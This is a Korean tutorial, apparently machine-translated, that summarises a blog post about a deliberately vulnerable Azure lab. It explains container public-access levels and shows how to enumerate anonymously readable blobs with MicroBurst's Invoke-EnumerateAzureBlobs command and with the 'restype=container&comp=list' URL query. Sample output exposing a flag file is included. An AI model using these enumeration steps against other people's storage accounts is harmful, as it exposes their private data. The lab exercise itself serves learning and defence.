익명 Blob 액세스

원래 연구: 0xPwN Blog - Create an Azure Vulnerable Lab: Part #1 – Anonymous Blob Access

"스토리지 계정"은 클라우드에 데이터를 저장하기 위해 Azure에서 제공하는 서비스입니다. 저장소 계정은 다음을 저장하는 데 사용할 수 있습니다.
  • 얼룩
  • 파일 공유
  • 테이블
  • 대기열
  • VM 디스크



  • 이 자습서에서는 Blob 섹션에 중점을 둘 것입니다. Blob은 컨테이너 내에 저장되며 저장소 계정 내에 여러 컨테이너를 가질 수 있습니다. 컨테이너를 만들 때 Azure는 공용 액세스에 대해 부여한 권한을 묻습니다. 다음 중에서 선택할 수 있습니다.
  • 비공개 액세스 – 익명 액세스가 허용되지 않음
  • Blob 액세스 – 전체 URL(컨테이너 이름 + Blob 이름)을 알고 있는 한 익명으로 Blob에 액세스할 수 있습니다
  • 컨테이너 액세스 – 컨테이너 이름을 아는 한 익명으로 blob에 액세스할 수 있습니다(디렉토리 목록이 활성화되고 컨테이너 내부에 저장된 모든 파일을 볼 수 있음)

  • 짐작하셨겠지만 컨테이너 액세스 권한을 부여하면 컨테이너에 저장된 모든 파일을 아무 권한 없이 다운로드하는 데 쉽게 악용될 수 있습니다. 스토리지 계정 이름과 컨테이너 이름만 알고 있으면 열거할 수 있기 때문입니다. 단어 목록과 함께.

    익명 Blob 액세스 악용



    이제 이것이 남용될 수 있는 방법과 Azure에서 안전하지 않은 스토리지를 검색하는 방법을 설명하는 수천 개의 문서가 있지만 작업을 더 쉽게 하기 위해 TL:DR을 수행하겠습니다. 가장 쉬운 방법 중 하나는 MicroBurst를 사용하여 검색할 스토리지 계정 이름을 제공하고 Misc/permutations.txt에 저장된 단어 목록을 기반으로 컨테이너가 존재하는지 확인하는 것입니다.

    PS > import-module .\MicroBurst.psm1
    PS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc
    Found Storage Account - 0xpwnstorageacc.blob.core.windows.net
    Found Container - 0xpwnstorageacc.blob.core.windows.net/public
    Public File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt
    


    또는 컨테이너 이름 뒤에 ?restype=container&comp=list를 추가합니다.

    https://<storage_account>.blob.core.windows.net/<container>?restype=container&comp=list
    


    산출:

    
    <EnumerationResults ContainerName="https://0xpwnstorageacc.blob.core.windows.net/public">
        <Blobs>
            <Blob>
                <Name>flag.txt</Name>
                <Url>
    https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt
    </Url>
                <Properties>
                    <Last-Modified>Sat, 05 Mar 2022 18:02:14 GMT</Last-Modified>
                    <Etag>0x8D9FED247B7848D</Etag>
                    <Content-Length>34</Content-Length>
                    <Content-Type>text/plain</Content-Type>
                    <Content-Encoding/>
                    <Content-Language/>
                    <Content-MD5>lur6Yvd173x6Zl1HUGvtag==</Content-MD5>
                    <Cache-Control/>
                    <BlobType>BlockBlob</BlobType>
                    <LeaseStatus>unlocked</LeaseStatus>
                </Properties>
            </Blob>
        </Blobs>
        <NextMarker/>
    </EnumerationResults>
    

    좋은 웹페이지 즐겨찾기